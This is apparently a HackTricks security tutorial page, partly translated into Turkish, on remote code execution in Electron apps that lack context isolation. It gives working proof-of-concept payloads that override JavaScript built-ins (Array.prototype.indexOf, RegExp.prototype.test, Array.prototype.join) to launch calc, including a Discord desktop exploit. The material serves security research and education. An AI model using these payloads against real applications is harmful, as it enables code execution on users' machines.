Electron contextIsolation RCE via preload code

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Örnek 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30 adresinden örnek

Bu kod, http(s) bağlantılarını varsayılan tarayıcı ile açar:

file:///C:/Windows/systemd32/calc.exe gibi bir şey, bir hesap makinesi çalıştırmak için kullanılabilir, SAFE_PROTOCOLS.indexOf bunu engelliyor.

Bu nedenle, bir saldırgan bu JS kodunu XSS veya keyfi sayfa navigasyonu aracılığıyla enjekte edebilir:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

SAFE_PROTOCOLS.indexOf çağrısı her zaman 1337 döndüreceği için, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Check the original slides for other ways to execute programs without having a prompt asking for permissions.

Apparently another way to load and execute code is to access something like file://127.0.0.1/electron/rce.jar

Example 2: Discord App RCE

Example from https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page. Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions fonksiyonu, programı "execa" kütüphanesini kullanarak çalıştırmaya çalışır, aşağıdaki gibi:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Genellikle execa, nvidiaSmiPath değişkeninde belirtilen "nvidia-smi.exe" dosyasını çalıştırmaya çalışır, ancak RegExp.prototype.test ve Array.prototype.join'ın geçersiz kılınması nedeniyle, argüman _execa_'nın iç işleyişinde "calc" ile değiştirilir.

Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated